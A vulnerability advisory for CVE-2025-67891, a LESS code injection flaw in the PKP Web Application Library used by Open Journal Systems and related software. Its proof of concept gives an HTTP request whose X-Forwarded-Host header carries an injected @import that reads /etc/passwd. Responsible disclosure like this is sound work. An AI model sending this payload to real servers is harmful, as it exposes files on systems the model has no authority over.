PKP-WAL <= 3.5.0-3 (X-Forwarded-Host) LESS Code Injection Vulnerability
• Software Links:
https://github.com/pkp/pkp-lib
• Affected Versions:
PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-10 and prior versions, and version 3.5.0-3 and prior versions, as used in Open Journal Systems (OJS), Open Monograph Press (OMP), and Open Preprint Systems (OPS).
• Vulnerability Description:
The vulnerability exists within the PKPTemplateManager::compileLess() method, which will call the Less_Parser::parse() method passing to it the “baseUrl” variable. Such a variable, which is constructed from a call to the $request->getBaseUrl() method, can be manipulated by unauthenticated attackers through the X-Forwarded-Host HTTP header, and this can be exploited to perform LESS Code Injection attacks, subsequently leading to SSRF or Local File Read attacks.
Successful exploitation of this vulnerability requires the allowed_hosts setting to be set to an empty string within the config.inc.php script.
• Proof of Concept:
- Edit the config.inc.php script by setting
allowed_hoststo an empty string - Use a proxy tool such as Burp Suite to send an HTTP request like the following:
GET /index.php/[journal]/$$$call$$$/page/page/css?name=stylesheet
Host: [target_hostname]
X-Forwarded-Host: '; @import (inline) '/etc/passwd'; //
- Forward the request and notice the HTTP response disclosing the content of the
/etc/passwdfile on the server
• Solution:
No official solution is currently available.
• Disclosure Timeline:
[21/10/2025] – Vendor notified
[24/10/2025] – Vendor replied the following GitHub issue already solves the issue: https://github.com/pkp/pkp-lib/issues/7649
[25/10/2025] – Response sent to the vendor, stating this should be treated as a new, different issue
[12/11/2025] – CVE identifier requested
[12/12/2025] – CVE identifier assigned
[23/12/2025] – Publication of this advisory
• CVE Reference:
The Common Vulnerabilities and Exposures program (cve.org) has assigned the name CVE-2025-67891 to this vulnerability.
• Credits:
Vulnerability discovered by Egidio Romano.